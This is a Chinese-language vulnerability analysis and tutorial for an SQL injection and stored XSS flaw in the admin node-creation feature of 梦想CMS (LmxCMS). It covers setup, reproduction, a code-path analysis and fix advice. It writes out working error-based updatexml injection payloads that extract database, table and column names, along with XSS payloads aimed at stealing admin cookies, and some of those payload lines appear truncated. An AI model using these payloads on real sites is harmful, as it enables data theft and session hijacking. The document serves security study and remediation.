梦想CMS注入漏洞分析&发现小彩蛋
字数 1273 2025-08-03 16:47:22
梦想CMS注入漏洞分析与利用教学文档
0x01 漏洞概述
梦想CMS存在SQL注入漏洞,攻击者可以通过后台采集管理功能中的"创建节点"功能实现报错注入。该漏洞属于未经过滤直接拼接SQL语句导致的注入漏洞,同时该漏洞点还存在存储型XSS漏洞。
0x02 环境搭建
-
准备环境:
- 使用phpstudy 2016版本
- PHP版本为5.6.27
-
下载CMS源码:
- 下载地址:http://www.lmxcms.com/file/d/down/xitong/20210628/202106281714266126.zip
-
安装步骤:
- 访问
http://[your-ip]/install/进行安装 - 需要提前创建好数据库
- 输入相应信息完成安装
- 访问
0x03 漏洞复现
-
登录后台:
- 访问
http://[your-ip]/admin.php?m=Login - 输入管理员账号密码登录
- 访问
-
找到漏洞点:
- 进入"采集管理"功能
- 点击"创建节点"
-
注入Payload:
- 在"节点名字"或"备注"字段输入以下Payload:
1' and updatexml(0,concat(0x7e,database()),1) and ' - 提交后可以看到数据库报错信息,包含当前数据库名称
- 在"节点名字"或"备注"字段输入以下Payload:
-
XSS漏洞验证:
- 输入以下Payload可触发XSS:
')'
- 输入以下Payload可触发XSS:
0x04 漏洞分析
漏洞调用链分析
-
请求流程:
admin.php->/inc/run.inc.php->AcquisiAction类- 调用
add()方法 -> 处理数据(d()、p()函数) -> 调用Model中的add()方法 - 调用
addDB()-> 直接拼接SQL语句 -> 执行query()方法
-
关键函数分析:
d()函数:
function d() { // 对mid字段进行(int)强制类型转换 if($v == 'mid') $data[$v] = (int)$data[$v]; }p()函数:
function p($type=1,$pe=false,$sql=false,$mysql=false) { // 仅对数据进行trim处理,无SQL过滤 $newdata[$k] = trim($v); }addDB()函数:
function addDB($data,$table=''){ // 直接拼接SQL语句,无过滤 $sql = 'INSERT INTO '.$table.'('.implode(',',$field).') VALUES('.implode(',',$value).')'; $this->db->query($sql); } -
漏洞成因:
- 用户输入数据仅经过
trim()处理,未进行任何SQL过滤 - 在
addDB()函数中直接拼接SQL语句 - 当SQL语句执行错误时,系统会返回详细错误信息
- 用户输入数据仅经过
0x05 漏洞利用扩展
-
SQL注入利用:
- 可获取数据库信息:
1' and updatexml(0,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1)),1) and ' - 可获取表数据:
1' and updatexml(0,concat(0x7e,(select column_name from information_schema.columns where table_name='admin' limit 0,1)),1) and '
- 可获取数据库信息:
-
存储型XSS利用:
- 可构造持久化XSS攻击:
')<script>alert(document.cookie)</script>' - 可窃取管理员cookie:
')
- 可构造持久化XSS攻击:
0x06 修复建议
-
输入过滤:
- 对所有用户输入使用预处理语句或转义特殊字符
- 使用
addslashes()或更好的mysqli_real_escape_string()
-
SQL执行方式:
- 使用参数化查询或PDO预处理语句
- 修改
addDB()函数:function addDB($data,$table=''){ $stmt = $this->db->prepare("INSERT INTO $table (".implode(',',$field).") VALUES (?".str_repeat(',?', count($value)-1).")"); $stmt->execute(array_values($data)); }
-
错误处理:
- 禁止显示数据库错误信息
- 使用try-catch捕获异常
-
XSS防护:
- 对输出内容进行HTML实体编码
- 使用
htmlspecialchars()函数
0x07 总结
该漏洞展示了典型的未过滤用户输入直接拼接SQL语句导致的安全问题,同时暴露了错误信息处理不当的风险。开发人员应当:
- 对所有用户输入保持怀疑态度并进行适当过滤
- 使用安全的数据库操作方式
- 避免向用户显示系统详细错误信息
- 对输出到页面的内容进行编码处理
通过全面分析该漏洞,我们可以更好地理解SQL注入和XSS漏洞的产生原理及防护方法。